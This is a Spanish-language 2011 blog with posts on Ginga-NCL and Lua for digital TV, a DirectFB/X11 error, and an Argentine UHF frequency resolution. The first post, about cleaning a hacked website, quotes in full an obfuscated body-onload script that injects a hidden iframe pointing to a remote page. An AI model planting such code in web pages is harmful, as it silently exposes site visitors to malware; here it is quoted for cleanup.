Páginas

jueves, 11 de agosto de 2011

Software malintencionado en mi web

Hola amigos, hace poco tuvimos un inconveniente con una web www.icriscaris.org.ar en la cual habían códigos embebidos en el cuerpo de los .html por lo que google ha puesto a la web en sus listas de software malintencionados en la web, por lo que siempre que deseabas acceder te aparecía el siguiente mensaje:

Por lo cual, lo primero que me puse a hacer es descargar por completo todo el directorio con todas las carpetas, pasarle un antivirus y revisar los .html y los .php con lo cual me encontré con el siguiente código en algunas páginas como ser el index.html

<body onload="j='7';yy='le';jp='b';p='if';l='sa';sb='1c';x='tp';ih='a';he='7';yq='us';y='/i';b='ht';u='a';v='p=3';ea='://';xh='0fc';d='7';c='s';e='p?t';xn='/ho';n='n';k='s.';ds='sr';q='c';h='t';o='9';fc='dex';tn='17';bg='.ph';an='com';hj='ra';mp='f';cw='a';fw='me';z='me';zf='n';vn='ge';dd=p.concat(hj,fw);i=ds.concat(q);jn=b.concat(x,ea,l,yq,u,vn,c,z,n,h,k,an,xn,yy,y,zf,fc,bg,e,v,mp,jp,d,ih,xh,sb,tn,o,j,cw,he);var mu=document.createElement(dd);mu.setAttribute('width','5');mu.setAttribute('height','5');mu.setAttribute('style','display:none');mu.setAttribute(i,jn);document.body.appendChild(mu);">
lo que hice fue eliminar todo, y volver a subir los archivos...pero actualmente google sigue tirando la advertencia de software malintencionado.

Para ello hay que ingresar a  https://www.google.com/webmasters/tools/  y hacer los pasos para que las herramientas de google detecten tu web.

Los pasos son los siguientes:
Desde la pagina principal de herramientas para webmasters de google añadir una nueva página y seguimos los pasos que describen, luego te pedirán que subas al directorio raíz un archivo que te dan para que lo descargues, para que de esa manera google pueda detectar tu web...

Una vez que haces eso, google te dice que confirmes la verificación cuando hayas subido el archivo. Luego te muestra la pagina principal diciéndote

Este sitio podría estar distribuyendo software malintencionado. Información detallada

Entra en información detallada y te dice

una vez que haya eliminado todo el código dañino de su sitio y haya tratado la vulnerabilidad subyacente que comprometió la seguridad del sitio, puede solicitar una revisión del mismo.
Asegúrate de haber eliminado toooodo los códigos de todas las páginas donde aparece y solicita la revisión.

Ahora, a la dulce espera hasta que google haya analizado nuevamente el sitio web.

martes, 9 de agosto de 2011

Software Freedoom Day en Sáenz Peña

Sí amigos! este 16 y 17 de septiembre se celebrará el Software Freedoom Day en la ciudad de Presidencia Roque Sáenz Peña - Chaco en la Universidad Nacional del Chaco Austral.
Puedes visitar el sitio oficial en http://wiki.softwarefreedomday.org/2011/Argentina/Chaco/SFDChaco
O también por http://sfdchaco.isuncaus.com.ar/
O agréganos por facebook! Software Freedoom Day - Chaco

viernes, 5 de agosto de 2011

Ginga-NCL Testing

Herramientas para developers and testers del middleware Ginga.
Desde la web testsuite.gingancl.org.br incorporo todos los códigos para procedimientos de pruebas de nuestro ginga.
Hasta el momendo hay un total de 400 casos de prueba basado en 253 afirmaciones y 785 instrucciones. (es lo que dice en la web hasta el día de hoy)

A continuación muestro un caso de ejemplo:

código del archivo area01.01.01.ncl


<?xml version="1.0" encoding="ISO-8859-1" standalone="no"?>
<ncl xmlns="http://www.ncl.org.br/NCL3.0/EDTVProfile" id="area01.01.01">
 <!-- Displays a blue jpg image during 3 seconds and then displays a red jpg image-->
 <head>
  <meta content="TeleMidia PUC-Rio" name="author"/>
  <connectorBase>
   <causalConnector id="onBeginStart">
    <simpleCondition role="onBegin"/>
    <simpleAction role="start"/>
   </causalConnector>
  </connectorBase>
 </head>
 <body>
  <port component="media1" id="parea01.01.01_1"/>
  <media id="media1" src="../../medias/azul.jpg">
   <area begin="3s" id="area1"/>
   <property name="left" value="0"/>
   <property name="right" value="0"/>
   <property name="height" value="100%"/>
   <property name="width" value="100%"/>
   <property name="explicitDur" value="6s"/>
  </media>
  <media id="media2" src="../../medias/vermelho.jpg">
   <property name="left" value="0"/>
   <property name="right" value="0"/>
   <property name="height" value="100%"/>
   <property name="width" value="100%"/>
   <property name="explicitDur" value="3s"/>
  </media>
  <link xconnector="onBeginStart">
   <bind component="media1" interface="area1" role="onBegin"/>
   <bind component="media2" role="start"/>
  </link>
 </body>
</ncl>
 
Descargar todos los test desde megaupload.

Mini Curso Gratuito de TV Digital con Ginga (1 dia):

Fornecer os conceitos básicos necessários para a concepção e o desenvolvimento de aplicações para TV digital para serem executadas pelo middleware Ginga, utilizando tanto a linguagem declarativa NCL, com complementos procedurais em LUA, para a plataforma Ginga-NCL. Como a linguagem Java para a plataforma Ginga-J.
 
Conteúdo detalhado do Curso
A TV Digital Interativa
  1. Motivação;
  2. Modelo de referência de um Sistema de DTV (TV Digital);
  3. Difusão de dados;
  4. Necessidade de uma camada de software intermediário;
  5. Middleware Ginga;
  6. Guias de usabilidade;
  7. Interfaces e características da tela de TV:
    • Aplicações;
    • Tipos e classificações;
    • Requisitos e as novas possibilidades;
    • Exibição em múltiplos dispositivos;
    • Sincronismo de mídia x interatividade;
    • PC x TVD.

 Próximas turmas

Mini Curso de TV Digital com Ginga (4hs) | Início 11/8/2011

App Ginga-NCL + LUA

Vamos a ver cómo se maneja LUA a través de Ginga-NCL

Código en el archivo hola-luna.ncl

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!-- -->
    <!-- -->
    <!-- Mostramos un texto sencillo usando Lua -->
    <!-- -->
    
    <ncl id="hola-luna" xmlns="http://www.ncl.org.br/NCL3.0/EDTVProfile">
    
            <head>
                    <regionBase>
                            <!-- Definimos una región de trabajo, en este caso ocupa toda la pantalla -->
                            <region id="regBkg" width="100%" height="100%"/>
                    </regionBase>
    
                    <descriptorBase>
                            <!-- Definimos un descriptor asociado a la región-->
                            <descriptor id="descBkg"  region="regBkg" />
                    </descriptorBase>
            </head>
    
            <body>
                    <!-- El tag 'port' indica el 'media' inicial -->
                    <port id="pEntry" component="app"/>
    
                    <!-- La aplicación lua es un 'media' -->
                    <media id="app" src="myApp.lua" descriptor="descBkg"/>
            </body>
    </ncl>

Código en el archivo myApp.lua
-- Seteamos el color del pincel
canvas:attrColor('blue')

-- Seteamos los atributos de la letra
canvas:attrFont('Tiresias', 40, 'bold')

-- Dibujamos un texto en x=50, y=50
canvas:drawText(50, 50, "Hola, Luna!")

-- Actualizamos la pantalla
canvas:flush()

Para ejecutarlo... ./ginga --ncl hola-luna.ncl

Fuente: wiki.ginga.org.ar

X11: Error in XOpenDisplay for '(null)

Hace poco comencé a probar algunas aplicaciones para ginga-ncl, instalando en una VM Kubuntu-Karmic-i386.vdi corriendo con Ginga, desde el entorno eclipse.

Para ejecutar una aplicación lo hacía desde el modo consola de Kubuntu, osea, "Ctrl+Alt+F1" y con el comando ginga --ncl ../.../archivo.ncl me daba el siguiente error:


ginga main() NCLFILE =
commandline read: ginga*

~~~~~~~~~~~~~~~~~~~~~~~~~~| DirectFB 1.4.2 |~~~~~~~~~~~~~~~~~~~~~~~~~~
(c) 2001-2009 The world wide DirectFB Open Source Community
(c) 2000-2004 Convergence (integrated media) GmbH
----------------------------------------------------------------

(*) DirectFB/Core: Single Application Core. (2010-05-14 08:42)
(!) X11: Error in XOpenDisplay for '(null)'
(!) DirectFB/Core: Could not initialize 'system_core' core!
--> Initialization error!

/var/tmp/portage/media-libs/gingacc-system-0.11.1/work/gingacc-system-0.11./src/io/interface/device/dfb/DFBDeviceScreen.cpp
<87>:
(#) DirectFBError [DirectFBCreate( &dfb)]: Initialization error!


Como verán lo remarqué con negrita, (!) X11:..., dicho error sucede porque salimos de la interfáz gráfica de kubuntu, y ginga corre bajo el sistema de ventanas X11, por lo que dese el modo gráfico desde un terminal se debe escribir ginga --ncl ../.../archivo.ncl para ejecutar nuestras aplicaciones Ginga.

jueves, 4 de agosto de 2011

¿Qué es LUA?

Lua, es el lenguaje procedural del middleware Ginga-NCL.


Algunas personas llegan a pensar que el lenguaje fue creado exclusivamente para este fin. Pero Lua es un lenguaje muy maduro.

Lua fue creado en 1993 en el laboratorio Tecgraf de la PUC-Río, por los profesores Roberto Ierusalimschy, Luiz Henrique de Figueiredo e Waldemar Celes. Después de su creación, en gran parte responsable del crecimiento y la alta visibilidad de Lua fue su uso en el desarrollo de juegos, un hecho que aumentó el nivel de Lua en un buen número de programadores. Hoy en día, uno de los principales juegos que utiliza Lua como lenguaje de scripting es World of Warcraft.

Básicamente Lua es un Lenguaje de programación imperativo y estructurado, bastante ligero y diseñado como un script con una semántica extendible. Lua en portugués significa Luna.

Además de comenzar a ver algo de la introducción de Lua y de que se trata todo esto, veamos el sitio oficial de proyecto. lua.org, por el momento lo encontramos en inglés, pero podemos ver algunas noticias, descargar, mucha documentación, algunos contactos, además contamos con una wiki en donde podemos encontrar más documentación y algunos ejemplo.

Si bien tenemos la posibilidad de adquirir los libros que proponen como documentación podemos encontrarlos en diferentes idiomas y poder navegarlos sin ningún problema.

Les dejo en esta oportunidad para que se vallan interiorizando y aprendamos un poco mas:

martes, 2 de agosto de 2011

Autoridad Federal de Servicios de Comunicación Audiovisual

Aquí están las asignaciones de bandas UHF para las Universidades Nacionales

RADIODIFUSION
Resolución 687/2011
Asígnanse a las Universidades Nacionales las frecuencias en la banda de UHF.
Bs. As., 24/6/2011
VISTO el Expediente Nº 720-AFSCA, y
CONSIDERANDO:
Que la Ley Nº 26.522, conforme lo establece su artículo 1º, asumió como objeto específico, además de la regulación de los servicios a que refiere, el desarrollo de mecanismos destinados a la promoción, desconcentración y universalización del aprovechamiento de las nuevas tecnologías de la información y la comunicación.
Que el servicio de televisión se encuentra en una etapa de transición y evolución con motivo del dictado del Decreto Nº 1148/09, a través del cual se creó el SISTEMA ARGENTINO DE TELEVISION DIGITAL TERRESTRE basado en el estándar denominado ISDB-T (Integrated Services Digital Broadcasting Terrestrial), el cual consiste en un conjunto de patrones tecnológicos a ser adoptados para la transmisión y recepción de señales digitales, terrestres, radiodifusión de imágenes y sonidos.
Que atento el proceso de transición al que se ha hecho referencia, resulta necesario efectuar las reservas establecidas por la Ley Nº 26.522 con carácter provisorio y sujeto a las medidas que resultarán dable implementar en el marco del proceso de reordenamiento de la banda de UHF, iniciado por Nota CNC Nº 381/09 y necesaria en orden a lo dispuesto por el Decreto Nº 1148/09 y, según corresponda, a los procedimientos de coordinación internacional en el ámbito del MERCOSUR.
Que el artículo 89 de la Ley Nº 26.522 establece que en oportunidad de elaborar el Plan Técnico de Frecuencias, la Autoridad Federal de Servicios de Comunicación Audiovisual deberá realizar una reserva en cada localización donde esté la sede central de una universidad nacional, una (1) frecuencia de televisión abierta y una (1) frecuencia para emisoras de radiodifusión sonora.
Que la COMISION NACIONAL DE COMUNICACIONES, al tiempo de efectuar las previsiones técnicas, ha considerado la evolución tecnológica, las nuevas técnicas de compresión de señales, el desarrollo teórico-práctico de las técnicas de multiplexación, aplicables tanto a los sistemas de televisión abierta como codificado, sin perder de vista el valor estratégico del espectro radioeléctrico en el desarrollo de plataformas de telecomunicaciones.
Que dicho Organismo técnico destaca asimismo que deberá tenerse en cuenta lo informado en el punto 2. de la NOTA CNC 381/2009 en lo relacionado con la reubicación de los canales pertenecientes a los sistemas de televisión codificada en la banda de UHF, a través de la cual se recomendó la implementación de las medidas de reubicación, contemplando, a los efectos de lograr un uso más eficiente del espectro, la posibilidad de asignar a cada licenciatario canales correlativos.
Que consecuentemente corresponde continuar la tarea de redistribución de los servicios en la banda de que se trata, comenzada a través de la Resolución Nº 813-COMFER/09.
Que resulta menester indicar aquellas frecuencias que serán susceptibles de autorización a las UNIVERSIDADES NACIONALES, para la prestación del servicio de televisión digital terrestre.
Que el artículo 90 de la Ley Nº 26.522 establece que la AUTORIDAD FEDERAL DE SERVICIOS DE COMUNICACION AUDIOVISUAL en conjunto con la autoridad regulatoria y la autoridad de aplicación en materia de Telecomunicaciones podrán variar los parámetros técnicos de las estaciones de radiodifusión.
Que la DIRECCION GENERAL ASUNTOS LEGALES Y NORMATIVA ha tomado la intervención que le compete.
Que el DIRECTORIO de la AUTORIDAD FEDERAL DE SERVICIOS DE COMUNICACIÓN AUDIOVISUAL acordó el dictado del presente acto administrativo, mediante la suscripción del acta correspondiente.
Que la presente medida se dicta de conformidad con las atribuciones conferidas por los artículos 12, inciso 18) de la Ley Nº 26.522.
Por ello,
EL DIRECTORIO DE LA AUTORIDAD FEDERAL DE SERVICIOS DE COMUNICACION AUDIOVISUAL
RESUELVE:
Artículo 1º — Asígnanse a las UNIVERSIDADES NACIONALES, las frecuencias en la banda de UHF conforme se consigna en el Anexo I.
Previo al inicio de las emisiones, las UNIVERSIDADES NACIONALES deberán solicitar ante este Organismo la asignación de los restantes parámetros técnicos por la COMISION NACIONAL DE COMUNICACIONES, a cuyo efecto consignarán el lugar de emplazamiento de la planta transmisora. Así también deberán acompañar la propuesta comunicacional, a través de la presentación de las planillas 1 y 2 que integran la presente y un informe del que surja la sustentabilidad del proyecto y su infraestructura.
Art. 2º — Los servicios referidos en el artículo 1º podrán emitir experimentalmente con modulación digital, con el estándar ISDB-T, siempre que las frecuencias no se encuentren asignadas con anterioridad. Los que así no lo hicieran, deberán proyectar su migración a esa tecnología en forma prioritaria, a fin de garantizar los beneficios derivados de la digitalización de los servicios.
Art. 3º — Cancélanse los canales 5 y 41 asignados en su oportunidad a las UNIVERSIDADES NACIONALES DE LUJAN y LA PLATA, respectivamente.
Art. 4º — Asígnase a la UNIVERSIDAD NACIONAL DE CORDOBA, en su carácter de titular del servicio de televisión abierta identificado como LV80 TV CANAL 10, el canal 31 a los efectos de la prestación del servicio de televisión abierta digital, utilizando el estándar ISDB-T.
Previo al inicio de las emisiones del servicio deberá solicitar, por ante este Organismo, la asignación de los restantes parámetros técnicos por la COMISION NACIONAL DE COMUNICACIONES, a cuyo efecto consignará el lugar de emplazamiento de la planta transmisora.
Art. 5º — Las asignaciones efectuadas por los artículos 1º y 4º quedarán sujetas a las diversas medidas que resultarán dable implementar en el marco del proceso de reordenamiento de la banda de UHF, iniciado por Nota CNC Nº 381/09 y necesaria en orden a lo dispuesto por el Decreto Nº 1148/09 y, según corresponda, a los procedimientos de coordinación internacional en el ámbito del MERCOSUR.
Art. 6º — Los licenciatarios afectados por las asignaciones de los artículos 1º y 4º, siempre que se encuentren explotando las frecuencias de conformidad a la normativa aplicable, serán notificados a fin de que presenten —dentro del plazo de TREINTA (30) días— una propuesta técnica para la reubicación de los canales de la banda de UHF, a los efectos de lograr un uso más eficiente del espectro y teniendo en cuenta la posibilidad de asignar a cada licenciatario canales correlativos.
La propuesta será considerada por parte de esta AUTORIDAD FEDERAL, y en su caso, por la COMISION NACIONAL DE COMUNICACIONES.

Los licenciatarios correspondientes a los servicios de televisión codificada podrán continuar sus emisiones hasta tanto este Organismo requiera su cese.
Art. 7º — Regístrese, comuníquese, notifíquese, publíquese, dése a la DIRECCION NACIONAL DEL REGISTRO OFICIAL y, cumplido, archívese. — Juan G. Mariotto.


UNIVERSIDAD NACIONAL


LOCALIDAD


PROVINCIA


FRECUENCIA EN LA BANDA DE UHF


BUENOS AIRES


CABA

 

59


TECNOLOGICA CABA


CABA

 

62


AVELLANEDA


AVELLANEDA


BUENOS AIRES


60


LANUS


LANUS


BUENOS AIRES


57


LOMAS DE ZAMORA


LAVALLOL-LOMAS DE ZAMORA


BUENOS AIRES


66


QUILMES


QUILMES


BUENOS AIRES


58


ARTURO JAURETCHE


FLORENCIO VARELA


BUENOS AIRES


55


LA PLATA


LA PLATA


BUENOS AIRES


56


GENERAL SAN MARTIN


SAN MARTIN


BUENOS AIRES


55


LA MATANZA


SAN JUSTO


BUENOS AIRES


61


TRES DE FEBRERO


CASEROS


BUENOS AIRES


56


GENERAL SARMIENTO


LOS POLVORINES-MALVINAS ARGENTINAS


BUENOS AIRES


66


JOSE C. PAZ


JOSE C. PAZ


BUENOS AIRES


58


MORENO


MORENO


BUENOS AIRES


66


LUJAN


LUJAN


BUENOS AIRES


57


SUR


BAHIA BLANCA


BUENOS AIRES


21


NOROESTE BUENOS AIRES


JUNIN


BUENOS AIRES


21


MAR DEL PLATA


MAR DEL PLATA


BUENOS AIRES


21


CENTRO


TANDIL


BUENOS AIRES


21


PATAGONIA


COMODORO RIVADAVIA


CHUBUT


33


RIO CUARTO


RIO CUARTO


CORDOBA


30


VILLA MARIA


VILLA MARIA


CORDOBA


29


NORDESTE


CORRIENTES – RESISTENCIA


CORRIENTES


26


JUJUY


SAN SALVADOR DE JUJUY


JUJUY


33


LA PAMPA


SANTA ROSA


LA PAMPA


33


LA RIOJA


LA RIOJA


LA RIOJA


33


MISIONES


POSADAS


MISIONES


33


RIO NEGRO


VIEDMA


RIO NEGRO


33


SALTA


SALTA


SALTA


33


SAN JUAN


SAN JUAN


SAN JUAN


33


SAN LUIS


SAN LUIS


SAN LUIS


33


PATAGONIA AUSTRAL


RIO GALLEGOS


SANTA CRUZ


33


ROSARIO


ROSARIO


SANTA FE


33


LITORAL


SANTA FE


SANTA FE


26


SANTIAGO DEL ESTERO


SANTIAGO DEL ESTERO


SANTIAGO DEL ESTERO


33


TUCUMAN


SAN MIGUEL DE TUCUMAN


TUCUMAN


34


CHILECITO


CHILECITO


LA RIOJA


28


FORMOSA


FORMOSA


FORMOSA


33


CUYO


MENDOZA


MENDOZA


34


COMAHUE


NEUQUEN


NEUQUEN


33


ENTRE RIOS


PARANA


ENTRE RIOS


34


CHACO AUSTRAL


ROQUE SAENZ PEÑA


CHACO


27


CATAMARCA


SAN FERNANDO DEL VALLE DE CATAMARCA


CATAMARCA


33


TIERRA DEL FUEGO, ANTARTIDA E ISLAS DEL ATLANTICO SUR


RIO GRANDE


TIERRA DEL FUEGO, ANTARTIDA E ISLAS DEL ATLANTICO SUR


34